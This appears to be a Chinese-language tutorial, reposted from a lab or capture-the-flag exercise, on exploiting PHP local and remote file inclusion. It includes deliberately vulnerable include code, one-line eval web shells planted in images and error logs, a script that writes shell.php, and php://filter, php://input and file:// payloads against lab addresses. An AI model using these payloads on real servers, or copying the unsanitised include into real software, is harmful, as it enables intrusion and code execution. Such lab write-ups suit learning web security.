文件包含漏洞


//include包含
<?php
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>';
include "$_GET[page]";
?>


//放在網站目錄下,直接可以訪問網站下文件(文件名2.php)
//訪問時:http://127.0.0.1/2.php?page=1.txt  (1.txt是放在網站的目錄)相當於<?php  include '1.txt';?> include包括文件
 
        

 

<?php
$a = "$_GET[page]";//獲得GET中的值  雙引號解析變量 單引號原子符輸出 $a = $_GET['page'];
echo $a;
?>
//http://127.0.0.1/4.php?page=55將55傳入文件中並賦值給變量a

 

 

 

 

本地文件包含(Loacl File Inclusion,LFI):

通過瀏覽器引進(包含)web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格 的過濾允許遍歷目錄的字符注入瀏覽器並執行。

 

遠程文件包含(Remote File Inclusion,RFI):

該漏洞允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好的腳本。 此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊 甚至在目標服務器上執行代碼。

利用文件包含漏洞必須包括main.php中代碼
<?php
$a = "$_GET[page]";
include $a;
?>

1.圖片一句話木馬
先用命令或工具把一句話木馬加載到圖片中

上傳圖片

利用菜刀連

http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg

2.日志一句話木馬

利用錯誤日志

將一句話木馬寫入錯誤日志中

http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包

在bp中自動編碼所以要改成

在日志文件中顯示

利用菜刀連接

http://10.1.2.5:17857/cs/main.php?page=錯誤日志路徑        (在連接錯誤日志的時候可能連接不上,可能是錯誤日志文件過多,需要清理)

3.利用遠程訪問

 

//在test.php中
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞運行test.php文件會在文件目錄創建shell.php
?>

 

http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路徑所在地)

4.PHP封裝協議讀取文件

http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  獲取源代碼

返回到網頁中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+

再利用Base64解碼

<?php
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />';
include "$_GET[page]";
?>

5.PHP封裝協議執行命令

 http://10.1.2.5:17857/cs/main.php?page=php://input

進行執行PHP代碼

6.file協議  需要服務器的絕對路徑

 

http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM